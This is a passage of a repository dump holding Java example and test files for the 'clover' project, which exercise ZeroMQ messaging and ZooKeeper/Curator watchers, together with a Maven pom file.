//订阅fjs这个channel\r\n\r\n                    for (int i = 0; i < 100; i++) {\r\n                        byte[] message = subscriber.recv();  //接收publisher发送过来的消息\r\n                        System.out.println(\"receive : \" + new String(message));\r\n                    }\r\n                    subscriber.close();\r\n                    context.term();\r\n                }\r\n\r\n            }).start();\r\n        }\r\n\r\n\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/zeromq/TestPubsubTcp.java",
    "content": "package com.gome.clover.zeromq;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/24\r\n * Time: 18:18\r\n */\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport org.junit.Test;\r\nimport zmq.Ctx;\r\nimport zmq.Msg;\r\nimport zmq.SocketBase;\r\nimport zmq.ZMQ;\r\n\r\npublic class TestPubsubTcp {\r\n    @Test\r\n    public void testPubsubTcp() throws Exception\r\n    {\r\n        Ctx ctx = ZMQ.zmq_init(1);\r\n\r\n        SocketBase sb = ZMQ.zmq_socket(ctx, ZMQ.ZMQ_PUB);\r\n        boolean rc = ZMQ.zmq_bind(sb, \"tcp://127.0.0.1:7660\");\r\n\r\n        SocketBase sc = ZMQ.zmq_socket(ctx, ZMQ.ZMQ_SUB);\r\n\r\n        sc.setsockopt(ZMQ.ZMQ_SUBSCRIBE, IpUtil.getLocalIP());\r\n\r\n        rc = ZMQ.zmq_connect(sc, \"tcp://127.0.0.1:7660\");\r\n\r\n        ZMQ.zmq_sleep(2);\r\n\r\n        sb.send(new Msg((IpUtil.getLocalIP()+\" abc\").getBytes(ZMQ.CHARSET)), 0);\r\n        sb.send(new Msg(\"topix defg\".getBytes(ZMQ.CHARSET)), 0);\r\n        sb.send(new Msg(\"topic defgh\".getBytes(ZMQ.CHARSET)), 0);\r\n\r\n\r\n        Msg msg = sc.recv(0);\r\n        System.err.println(\"msg1:\"+new String(msg.data()));\r\n\r\n        msg = sc.recv(0);\r\n        System.err.println(\"msg2:\"+new String(msg.data()));\r\n        ZMQ.zmq_close(sc);\r\n        ZMQ.zmq_close(sb);\r\n        ZMQ.zmq_term(ctx);\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/zeromq/TestReqrepTcp.java",
    "content": "package com.gome.clover.zeromq;\r\n\r\nimport org.junit.Test;\r\nimport zmq.Ctx;\r\nimport zmq.SocketBase;\r\nimport zmq.ZMQ;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/25\r\n * Time: 21:23\r\n */\r\npublic class TestReqrepTcp {\r\n    @Test\r\n    public void testReqrepTcp() throws Exception\r\n    {\r\n        Ctx ctx = ZMQ.zmq_init(1);\r\n        SocketBase sb = ZMQ.zmq_socket(ctx, ZMQ.ZMQ_REP);\r\n        boolean rc = ZMQ.zmq_bind(sb, \"tcp://127.0.0.1:7560\");\r\n        SocketBase sc = ZMQ.zmq_socket(ctx, ZMQ.ZMQ_REQ);\r\n        rc = ZMQ.zmq_connect(sc, \"tcp://127.0.0.1:7560\");\r\n\r\n        Helper.bounce(sb, sc);\r\n\r\n        ZMQ.zmq_close(sc);\r\n        ZMQ.zmq_close(sb);\r\n        ZMQ.zmq_term(ctx);\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/zk/CuratorDemo.java",
    "content": "package com.gome.clover.zk;\r\n\r\nimport com.gome.clover.common.zk.ZKUtil;\r\nimport org.apache.curator.framework.CuratorFramework;\r\nimport org.apache.curator.framework.api.CuratorWatcher;\r\nimport org.apache.zookeeper.WatchedEvent;\r\nimport org.apache.zookeeper.Watcher;\r\n\r\nimport java.nio.charset.Charset;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/19\r\n * Time: 15:13\r\n */\r\npublic class CuratorDemo {\r\n    private CuratorFramework zkTools;\r\n    public void curatorDemo() throws Exception{\r\n        zkTools = ZKUtil.create();\r\n        zkTools.start();\r\n\r\n       /* zkTools.create()//创建一个路径\r\n                .creatingParentsIfNeeded()//如果指定的节点的父节点不存在，递归创建父节点\r\n                .withMode(CreateMode.PERSISTENT)//存储类型（临时的还是持久的）\r\n                .withACL(ZooDefs.Ids.OPEN_ACL_UNSAFE)//访问权限\r\n                .forPath(\"zk/test\");//创建的路径*/\r\n\r\n      /*  zkTools.//对路径节点赋值\r\n                setData().\r\n                forPath(\"zk/test\",\"hello world\".getBytes(Charset.forName(\"utf-8\")));*/\r\n\r\n        byte[] buffer = zkTools.\r\n                getData().\r\n                usingWatcher(new ZKWatch(\"/clover/server\")).forPath(\"/clover/server\");\r\n        //System.out.println(new String(buffer));\r\n    }\r\n\r\n    public static void main(String[] args) throws Exception {\r\n        CuratorDemo test = new CuratorDemo();\r\n        test.curatorDemo();\r\n\r\n    }\r\n    public class ZKWatch implements CuratorWatcher {\r\n        private final String path;\r\n\r\n        public String getPath() {\r\n            return path;\r\n        }\r\n        public ZKWatch(String path) {\r\n            this.path = path;\r\n        }\r\n        @Override\r\n        public void process(WatchedEvent event) throws Exception {\r\n            if(event.getType() == Watcher.Event.EventType.NodeDataChanged){\r\n                byte[] data = zkTools.getData().forPath(path);\r\n                System.out.println(path+\":\"+new String(data,Charset.forName(\"utf-8\")));\r\n            }\r\n        }\r\n\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/zk/CuratorTest.java",
    "content": "package com.gome.clover.zk;\r\n\r\nimport org.apache.curator.framework.CuratorFramework;\r\nimport org.apache.curator.framework.CuratorFrameworkFactory;\r\nimport org.apache.curator.framework.api.CuratorWatcher;\r\nimport org.apache.curator.framework.state.ConnectionState;\r\nimport org.apache.curator.framework.state.ConnectionStateListener;\r\nimport org.apache.curator.retry.RetryNTimes;\r\nimport org.apache.zookeeper.CreateMode;\r\nimport org.apache.zookeeper.WatchedEvent;\r\nimport org.apache.zookeeper.Watcher;\r\nimport org.apache.zookeeper.ZooDefs;\r\nimport org.apache.zookeeper.data.Stat;\r\n\r\nimport java.net.InetAddress;\r\nimport java.nio.charset.Charset;\r\nimport java.util.concurrent.ConcurrentSkipListSet;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/19\r\n * Time: 13:04\r\n */\r\npublic class CuratorTest {\r\n    private CuratorFramework zkTools;\r\n    private ConcurrentSkipListSet watchers = new ConcurrentSkipListSet();\r\n    private static Charset charset = Charset.forName(\"utf-8\");\r\n\r\n    public CuratorTest() {\r\n        zkTools = CuratorFrameworkFactory\r\n                .builder()\r\n                .connectString(\"10.126.53.170:2181\")\r\n                .namespace(\"zk/test\")\r\n                .retryPolicy(new RetryNTimes(2000,20000))\r\n                .build();\r\n        zkTools.start();\r\n\r\n    }\r\n\r\n\r\n    public void addReconnectionWatcher(final String path,final ZookeeperWatcherType watcherType,final CuratorWatcher watcher){\r\n        synchronized (this) {\r\n            if(!watchers.contains(watcher.toString()))//不要添加重复的监听事件\r\n            {\r\n                watchers.add(watcher.toString());\r\n                System.out.println(\"add new watcher \" + watcher);\r\n                zkTools.getConnectionStateListenable().addListener(new ConnectionStateListener() {\r\n                @Override\r\n                public void stateChanged(CuratorFramework client, ConnectionState newState) {\r\n                    System.out.println(newState);\r\n                    if(newState == ConnectionState.LOST){//处理session过期\r\n                        try{\r\n                            if(watcherType == ZookeeperWatcherType.EXITS){\r\n                                zkTools.checkExists().usingWatcher(watcher).forPath(path);\r\n                            }else if(watcherType == ZookeeperWatcherType.GET_CHILDREN){\r\n                                zkTools.getChildren().usingWatcher(watcher).forPath(path);\r\n                            }else if(watcherType == ZookeeperWatcherType.GET_DATA){\r\n                                zkTools.getData().usingWatcher(watcher).forPath(path);\r\n                            }else if(watcherType == ZookeeperWatcherType.CREATE_ON_NO_EXITS){\r\n                                //ephemeral类型的节点session过期了，需要重新创建节点，并且注册监听事件，之后监听事件中，\r\n                                //会处理create事件，将路径值恢复到先前状态\r\n                                Stat stat = zkTools.checkExists().usingWatcher(watcher).forPath(path);\r\n                                if(stat == null){\r\n                                    System.err.println(\"to create\");\r\n                                    zkTools.create()\r\n                                            .creatingParentsIfNeeded()\r\n                                            .withMode(CreateMode.EPHEMERAL)\r\n                                            .withACL(ZooDefs.Ids.OPEN_ACL_UNSAFE)\r\n                                            .forPath(path);\r\n                                }\r\n                            }\r\n                        }catch (Exception e) {\r\n                            e.printStackTrace();\r\n                        }\r\n                    }\r\n                }\r\n            });\r\n            }\r\n        }\r\n    }\r\n\r\n\r\n    public void create() throws Exception{\r\n        zkTools.create()//创建一个路径\r\n                .creatingParentsIfNeeded()//如果指定的节点的父节点不存在，递归创建父节点\r\n                .withMode(CreateMode.PERSISTENT)//存储类型（临时的还是持久的）\r\n                .withACL(ZooDefs.Ids.OPEN_ACL_UNSAFE)//访问权限\r\n                .forPath(\"/zk/test\");//创建的路径\r\n    }\r\n\r\n    public void put() throws Exception{\r\n        zkTools.//对路径节点赋值\r\n                setData().\r\n                forPath(\"/zk/test\",\"hello world\".getBytes(Charset.forName(\"utf-8\")));\r\n    }\r\n\r\n    public void get() throws Exception{\r\n        String path = \"/zk/test\";\r\n        ZKWatch watch = new ZKWatch(path);\r\n        byte[] buffer = zkTools.\r\n                getData().\r\n                usingWatcher(watch).forPath(path);\r\n        System.out.println(new String(buffer,charset));\r\n        //添加session过期的监控\r\n        addReconnectionWatcher(path, ZookeeperWatcherType.GET_DATA, watch);\r\n    }\r\n\r\n\r\n    public void register() throws Exception{\r\n\r\n        String ip = InetAddress.getLocalHost().getHostAddress();\r\n        String registeNode = \"/zk/register/\"+ip;//节点路径\r\n\r\n        byte[] data = \"disable\".getBytes(charset);//节点值\r\n\r\n        CuratorWatcher watcher = new ZKWatchRegister(registeNode,data);    //创建一个register watcher\r\n\r\n        Stat stat = zkTools.checkExists().forPath(registeNode);\r\n        if(stat != null){\r\n            zkTools.delete().forPath(registeNode);\r\n        }\r\n        zkTools.create()\r\n                .creatingParentsIfNeeded()          .withMode(CreateMode.EPHEMERAL)\r\n                .withACL(ZooDefs.Ids.OPEN_ACL_UNSAFE)\r\n                .forPath(registeNode,data);//创建的路径和值\r\n\r\n        //添加到session过期监控事件中\r\n        addReconnectionWatcher(registeNode, ZookeeperWatcherType.CREATE_ON_NO_EXITS,watcher);\r\n        data = zkTools.getData().usingWatcher(watcher).forPath(registeNode);\r\n        System.out.println(\"get path form zk : \"+registeNode+\":\"+new String(data,charset));\r\n    }\r\n\r\n    public static void main(String[] args) throws Exception {\r\n        CuratorTest test = new CuratorTest();\r\n        test.create();\r\n        test.put();\r\n        test.get();\r\n       // test.register();\r\n        Thread.sleep(10000000000L);\r\n\r\n    }\r\n\r\n    public class ZKWatch implements CuratorWatcher{\r\n        private final String path;\r\n\r\n        public String getPath() {\r\n            return path;\r\n        }\r\n        public ZKWatch(String path) {\r\n            this.path = path;\r\n        }\r\n        @Override\r\n        public void process(WatchedEvent event) throws Exception {\r\n            System.out.println(event.getType());\r\n            if(event.getType() == Watcher.Event.EventType.NodeDataChanged){\r\n                byte[] data = zkTools.\r\n                        getData().\r\n                        usingWatcher(this).forPath(path);\r\n                System.out.println(path+\":\"+new String(data,Charset.forName(\"utf-8\")));\r\n            }\r\n        }\r\n\r\n    }\r\n\r\n\r\n    public class ZKWatchRegister implements CuratorWatcher{\r\n        private final String path;\r\n        private byte[] value;\r\n        public String getPath() {\r\n            return path;\r\n        }\r\n        public ZKWatchRegister(String path,byte[] value) {\r\n            this.path = path;\r\n            this.value = value;\r\n        }\r\n        @Override\r\n        public void process(WatchedEvent event) throws Exception {\r\n            System.out.println(event.getType());\r\n            if(event.getType() == Watcher.Event.EventType.NodeDataChanged){\r\n                //节点数据改变了，需要记录下来，以便session过期后，能够恢复到先前的数据状态\r\n                byte[] data = zkTools.\r\n                        getData().\r\n                        usingWatcher(this).forPath(path);\r\n                value = data;\r\n                System.out.println(path+\":\"+new String(data,charset));\r\n            }else if(event.getType() == Watcher.Event.EventType.NodeDeleted){\r\n                //节点被删除了，需要创建新的节点\r\n                System.out.println(path + \":\" + path +\" has been deleted.\");\r\n                Stat stat = zkTools.checkExists().usingWatcher(this).forPath(path);\r\n                if(stat == null){\r\n                    zkTools.create()\r\n                            .creatingParentsIfNeeded()\r\n                            .withMode(CreateMode.EPHEMERAL)\r\n                            .withACL(ZooDefs.Ids.OPEN_ACL_UNSAFE)\r\n                            .forPath(path);\r\n                }\r\n            }else if(event.getType() == Watcher.Event.EventType.NodeCreated){\r\n                //节点被创建时，需要添加监听事件（创建可能是由于session过期后，curator的状态监听部分触发的）\r\n                System.out.println(path + \":\" +\" has been created!\" + \"the current data is \" + new String(value));\r\n                zkTools.setData().forPath(path, value);\r\n                zkTools.getData().usingWatcher(this).forPath(path);\r\n            }\r\n        }\r\n    }\r\n\r\n    public enum ZookeeperWatcherType{\r\n        GET_DATA,GET_CHILDREN,EXITS,CREATE_ON_NO_EXITS\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/zk/MonitorServerZKListener.java",
    "content": "package com.gome.clover.zk;\r\n\r\nimport com.gome.clover.common.zk.ZKUtil;\r\nimport org.apache.curator.framework.CuratorFramework;\r\nimport org.apache.curator.framework.api.CuratorEvent;\r\nimport org.apache.curator.framework.api.CuratorListener;\r\nimport org.apache.curator.framework.api.CuratorWatcher;\r\nimport org.apache.curator.framework.state.ConnectionState;\r\nimport org.apache.curator.framework.state.ConnectionStateListener;\r\nimport org.apache.zookeeper.CreateMode;\r\nimport org.apache.zookeeper.WatchedEvent;\r\nimport org.apache.zookeeper.Watcher;\r\nimport org.apache.zookeeper.ZooDefs;\r\nimport org.apache.zookeeper.data.Stat;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.nio.charset.Charset;\r\nimport java.util.concurrent.ConcurrentSkipListSet;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/19\r\n * Time: 12:11\r\n */\r\npublic class MonitorServerZKListener implements CuratorListener,ConnectionStateListener {\r\n    protected static Logger logger = LoggerFactory.getLogger(MonitorServerZKListener.class);\r\n    private CuratorFramework zkTools;\r\n    private ConcurrentSkipListSet watchers = new ConcurrentSkipListSet();\r\n    private static Charset charset = Charset.forName(\"utf-8\");\r\n    private  String prefixPath;\r\n\r\n    public MonitorServerZKListener(String prefixPath) {\r\n        this.prefixPath= prefixPath;\r\n        zkTools = ZKUtil.create();\r\n        zkTools.start();\r\n        CuratorWatcher watcher = new ZKWatchRegister(prefixPath);    //创建一个register watcher\r\n        addReconnectionWatcher(prefixPath, ZookeeperWatcherType.CREATE_ON_NO_EXITS,watcher);\r\n        this.zkTools.getConnectionStateListenable().addListener(this);\r\n        this.zkTools.getCuratorListenable().addListener(this);\r\n        byte[] data = new byte[0];\r\n        try {\r\n           zkTools.getData().usingWatcher(watcher);\r\n            //data = zkTools.getData().usingWatcher(watcher).forPath(prefixPath);\r\n        } catch (Exception e) {\r\n            e.printStackTrace();\r\n        }\r\n        System.out.println(\"get path form zk : \"+prefixPath+\":\"+new String(data,charset));\r\n    }\r\n\r\n    public void addReconnectionWatcher(final String path,final ZookeeperWatcherType watcherType,final CuratorWatcher watcher){\r\n        synchronized (this) {\r\n            if(!watchers.contains(watcher.toString()))//不要添加重复的监听事件\r\n            {\r\n                watchers.add(watcher.toString());\r\n                System.out.println(\"add new watcher \" + watcher);\r\n                zkTools.getConnectionStateListenable().addListener(new ConnectionStateListener() {\r\n                    @Override\r\n                    public void stateChanged(CuratorFramework client, ConnectionState newState) {\r\n                        System.out.println(newState);\r\n                        if(newState == ConnectionState.LOST){//处理session过期\r\n                            try{\r\n                                if(watcherType == ZookeeperWatcherType.EXITS){\r\n                                    zkTools.checkExists().usingWatcher(watcher).forPath(path);\r\n                                }else if(watcherType == ZookeeperWatcherType.GET_CHILDREN){\r\n                                    zkTools.getChildren().usingWatcher(watcher).forPath(path);\r\n                                }else if(watcherType == ZookeeperWatcherType.GET_DATA){\r\n                                    zkTools.getData().usingWatcher(watcher).forPath(path);\r\n                                }else if(watcherType == ZookeeperWatcherType.CREATE_ON_NO_EXITS){\r\n                                    //ephemeral类型的节点session过期了，需要重新创建节点，并且注册监听事件，之后监听事件中，\r\n                                    //会处理create事件，将路径值恢复到先前状态\r\n                                    Stat stat = zkTools.checkExists().usingWatcher(watcher).forPath(path);\r\n                                    if(stat == null){\r\n                                        System.err.println(\"to create\");\r\n                                        zkTools.create()\r\n                                                .creatingParentsIfNeeded()\r\n                                                .withMode(CreateMode.EPHEMERAL)\r\n                                                .withACL(ZooDefs.Ids.OPEN_ACL_UNSAFE)\r\n                                                .forPath(path);\r\n                                    }\r\n                                }\r\n                            }catch (Exception e) {\r\n                                e.printStackTrace();\r\n                            }\r\n                        }\r\n                    }\r\n                });\r\n            }\r\n        }\r\n    }\r\n\r\n    @Override\r\n    public void eventReceived(CuratorFramework client, CuratorEvent event) throws Exception {\r\n\r\n    }\r\n\r\n    @Override\r\n    public void stateChanged(CuratorFramework client, ConnectionState newState) {\r\n\r\n    }\r\n\r\n    public class ZKWatchRegister implements CuratorWatcher{\r\n        private final String path;\r\n        private byte[] value;\r\n        public String getPath() {\r\n            return path;\r\n        }\r\n        public ZKWatchRegister(String path) {\r\n            this.path = path;\r\n        }\r\n        @Override\r\n        public void process(WatchedEvent event) throws Exception {\r\n            System.out.println(event.getType());\r\n            if(event.getType() == Watcher.Event.EventType.NodeDataChanged){\r\n                //节点数据改变了，需要记录下来，以便session过期后，能够恢复到先前的数据状态\r\n                byte[] data = zkTools.\r\n                        getData().\r\n                        usingWatcher(this).forPath(path);\r\n                value = data;\r\n                System.out.println(path+\":\"+new String(data,charset));\r\n            }else if(event.getType() == Watcher.Event.EventType.NodeDeleted){\r\n                //节点被删除了，需要创建新的节点\r\n                System.out.println(path + \":\" + path +\" has been deleted.\");\r\n                Stat stat = zkTools.checkExists().usingWatcher(this).forPath(path);\r\n                if(stat == null){\r\n                    zkTools.create()\r\n                            .creatingParentsIfNeeded()\r\n                            .withMode(CreateMode.EPHEMERAL)\r\n                            .withACL(ZooDefs.Ids.OPEN_ACL_UNSAFE)\r\n                            .forPath(path);\r\n                }\r\n            }else if(event.getType() == Watcher.Event.EventType.NodeCreated){\r\n                //节点被创建时，需要添加监听事件（创建可能是由于session过期后，curator的状态监听部分触发的）\r\n                System.out.println(path + \":\" +\" has been created!\" + \"the current data is \" + new String(value));\r\n                zkTools.setData().forPath(path, value);\r\n                zkTools.getData().usingWatcher(this).forPath(path);\r\n            }\r\n        }\r\n    }\r\n    public enum ZookeeperWatcherType{\r\n        GET_DATA,GET_CHILDREN,EXITS,CREATE_ON_NO_EXITS\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/zk/SyncServer.java",
    "content": "package com.gome.clover.zk;\r\n\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.zk.ZKConnect;\r\nimport org.junit.Test;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Sync Server\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/18\r\n * Time: 22:25\r\n */\r\npublic class SyncServer {\r\n\r\n    public static void main(String[] args) {\r\n        MonitorServerZKListener monitorServerZKListener =  new MonitorServerZKListener(CommonConstants.ZK_ROOT_PATH + \"/server\");\r\n       // zkConnect.addListener(monitorServerZKListener);\r\n        //monitorServerZKListener.reload();\r\n    }\r\n    @Test\r\n    public void test1(){\r\n        ZKConnect  zkConnect = new ZKConnect();\r\n        if ((zkConnect == null) || (!zkConnect.start())) {\r\n\r\n        }\r\n        //MonitorServerZKListener monitorServerZKListener =  new MonitorServerZKListener(CommonConstants.ZK_ROOT_PATH + \"/server\",zkConnect);\r\n        //zkConnect.addListener(monitorServerZKListener);\r\n       // monitorServerZKListener.reload();\r\n    }\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/zk/TestZK.java",
    "content": "package com.gome.clover.zk;\r\n\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.PropertiesUtil;\r\nimport com.gome.clover.common.zeromq.ZeroMQPull;\r\nimport com.gome.clover.common.zk.ZKManager;\r\nimport org.junit.Test;\r\n\r\nimport java.util.List;\r\n\r\n/**\r\n * Module Desc:\r\n * User: wangyue-ds6\r\n * Date: 2014/11/19\r\n * Time: 15:14\r\n */\r\npublic class TestZK {\r\n    @Test\r\n    public void testServerDelete(){\r\n        try {\r\n            ZKManager zkManager  = new ZKManager(PropertiesUtil.loadProperties());\r\n            String pathStr = zkManager.getRootPath() + \"/server/ip\";\r\n            zkManager.delete(pathStr);\r\n        } catch (Exception e) {\r\n            e.printStackTrace();\r\n        }\r\n    }\r\n    @Test\r\n    public void testClientDelete(){\r\n        try {\r\n            ZKManager zkManager  = new ZKManager(PropertiesUtil.loadProperties());\r\n            String pathStr = zkManager.getRootPath() + \"/client\";\r\n            zkManager.delete(pathStr);\r\n        } catch (Exception e) {\r\n            e.printStackTrace();\r\n        }\r\n    }\r\n\r\n    @Test\r\n    public void testGetAllData(){\r\n        try {\r\n            ZKManager zkManager  = new ZKManager(PropertiesUtil.loadProperties());\r\n            String pathStr = zkManager.getRootPath() + \"/\" + CommonConstants.MODULE_TYPE_CLIENT ;\r\n            List<String> childrenListStr = zkManager.getZooKeeper().getChildren(pathStr, false);\r\n            System.err.println(\"childrenListStr:\"+childrenListStr);\r\n        } catch (Exception e) {\r\n            e.printStackTrace();\r\n        }\r\n    }\r\n\r\n    @Test\r\n    public void testGet() throws InterruptedException {\r\n        synchronized (Object.class){\r\n            Thread.sleep(100000);\r\n            String addr = \"tcp://*:\" + CommonConstants.ZMQ_SERVER_PORT;\r\n            ZeroMQPull.INSTANCE.recv(addr);\r\n        }\r\n\r\n        System.err.println(\"zkString:\"+CommonConstants.ZK_CONNECT_STRING);\r\n\r\n    }\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-monitor/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\r\n    <modelVersion>4.0.0</modelVersion>\r\n    <parent>\r\n        <groupId>com.gome</groupId>\r\n        <artifactId>clover</artifactId>\r\n        <version>1.0</version>\r\n    </parent>\r\n\r\n    <groupId>com.gome</groupId>\r\n    <artifactId>clover-monitor</artifactId>\r\n    <version>${clover.version}</version>\r\n    <packaging>jar</packaging>\r\n\r\n    <build>\r\n        <finalName>clover-monitor-${clover.version}</finalName>\r\n        <resources>\r\n            <resource>\r\n                <directory>src/main/resources</directory>\r\n                <filtering>true</filtering>\r\n            </resource>\r\n        </resources>\r\n    </build>\r\n    <dependencies>\r\n        <dependency>\r\n            <groupId>com.gome</groupId>\r\n            <artifactId>clover-core</artifactId>\r\n            <version>${clover.version}</version>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>junit</groupId>\r\n            <artifactId>junit</artifactId>\r\n            <version>4.11</version>\r\n            <scope>compile</scope>\r\n        </dependency>\r\n    </dependencies>\r\n\r\n</project>"
  },
  {
    "path": "clover/clover-monitor/src/main/java/com/gome/clover/monitor/MonitorHeartBeat.java",
